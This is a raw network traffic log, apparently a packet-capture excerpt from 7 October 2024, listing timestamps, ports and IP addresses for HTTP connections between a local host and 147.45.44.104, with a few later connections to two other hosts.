Oct 7, 2024 18:43:23.859369040 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859411955 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.859426022 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859457970 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859468937 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.859502077 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.859507084 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859549046 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.859556913 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859586000 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859599113 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.859617949 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859626055 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.859649897 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859658003 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.859679937 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859692097 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.859721899 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.859730005 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859764099 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859769106 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.859796047 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859811068 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.859843969 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859850883 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.859875917 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859886885 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.859909058 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859920025 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.859945059 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859951973 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.859978914 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.859986067 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860011101 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860016108 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860043049 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860059023 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860075951 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860091925 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860109091 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860117912 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860141993 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860150099 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860174894 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860183001 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860207081 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860209942 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860239983 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860250950 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860272884 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860285044 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860307932 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860321999 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860340118 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860352039 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860373974 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860389948 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860404968 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860419989 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860440969 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860447884 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860474110 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860483885 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860506058 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860517025 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860538960 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860549927 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860572100 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860584974 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860604048 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860611916 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860636950 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860646963 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860668898 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860680103 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860702038 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860713005 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860733986 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860743999 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860769033 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860780001 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860801935 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860811949 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860833883 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860843897 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860866070 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860876083 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860898972 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860909939 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860930920 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860943079 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860965014 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.860974073 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.860997915 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.861006021 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.861031055 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.861040115 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.861072063 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.861078978 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.861110926 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.861120939 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.861143112 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.861162901 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.861175060 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.861188889 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.861207962 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.861217022 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.861255884 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.974042892 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.974124908 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.974168062 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.974201918 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.974235058 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.974251986 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.974268913 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.974292040 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.974322081 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.974325895 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.974360943 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.974410057 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.974411964 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.974442005 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.974476099 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.974488020 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.974523067 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.974523067 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.974556923 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.974589109 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.974603891 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.974622011 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.974636078 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.974668980 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.974669933 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.974704981 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.974750996 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.974750996 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.974785089 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.974816084 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.974819899 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.974838972 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.974848986 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.974863052 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.974883080 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.974915028 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.974927902 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.974956036 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.974960089 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.974972963 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.974998951 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975019932 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.975033045 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975054026 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.975064993 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975085974 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.975096941 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975110054 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.975130081 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975142956 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.975162983 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975178957 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.975194931 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975222111 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.975225925 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975239992 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.975260019 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975284100 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.975291967 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975301981 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.975327015 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975363016 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975411892 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975418091 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.975431919 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.975431919 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.975447893 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975495100 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975497961 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.975528002 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975558996 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975572109 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.975589037 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975605011 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.975622892 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975636959 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.975655079 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975672007 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.975694895 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975701094 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.975708961 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975723028 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975737095 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975750923 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975754976 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.975764990 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975780010 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975780010 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.975795984 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975796938 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.975825071 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.975833893 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.975853920 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.975884914 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.976152897 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.976181984 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.976228952 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.976243019 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.976277113 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.976288080 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.976314068 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.976339102 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.976346970 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.976361036 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.976376057 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.976423025 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.976428032 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.976483107 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.976491928 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.976512909 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.976536036 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.976547003 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.976572990 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.976579905 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.976593018 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.976619959 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.976634026 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.976650000 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.976658106 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.976665020 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.976677895 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.976682901 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.976716995 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.976727962 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.976735115 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.976775885 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.976778030 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.976826906 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.976872921 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.976881027 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.976881027 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.976918936 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.976923943 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.976933956 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.976948023 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.976969957 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.976982117 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.977005005 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977016926 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.977039099 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977087975 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977087975 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.977117062 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977174997 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.977174997 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977216959 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977224112 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.977246046 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977277040 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.977298021 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977298975 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.977346897 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977394104 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977395058 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.977427006 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977458000 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977477074 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.977494001 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977504969 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.977539062 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.977585077 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977618933 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977655888 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977665901 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.977672100 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977686882 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977700949 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977704048 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.977715969 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977729082 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977741957 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.977741957 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977756023 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977768898 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977777958 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.977802992 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977802992 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.977821112 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.977838993 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977855921 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.977874994 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977885962 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.977890015 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977904081 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977917910 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977925062 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.977931976 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977946997 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.977946997 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977962971 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.977983952 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.977996111 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.978019953 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.978029013 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.978053093 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.978066921 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.978081942 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.978085041 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.978095055 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.978127956 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.978135109 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.978162050 CEST	80	49736	147.45.44.104	192.168.2.7
Oct 7, 2024 18:43:23.978167057 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:23.978213072 CEST	49736	80	192.168.2.7	147.45.44.104
Oct 7, 2024 18:43:24.132215023 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:24.137166023 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:24.148232937 CEST	443	49741	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.149277925 CEST	49741	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.149302959 CEST	443	49741	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.149527073 CEST	49741	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.149542093 CEST	443	49741	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.174135923 CEST	443	49742	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.174690962 CEST	49742	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.174705982 CEST	443	49742	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.175139904 CEST	49742	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.175144911 CEST	443	49742	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.200912952 CEST	443	49743	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.201639891 CEST	49743	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.201658010 CEST	443	49743	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.202290058 CEST	49743	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.202295065 CEST	443	49743	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.401074886 CEST	443	49741	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.401242018 CEST	443	49741	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:24.401390076 CEST	49741	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:24.401679993 CEST	49741	443	192.168.2.7	13.107.246.45
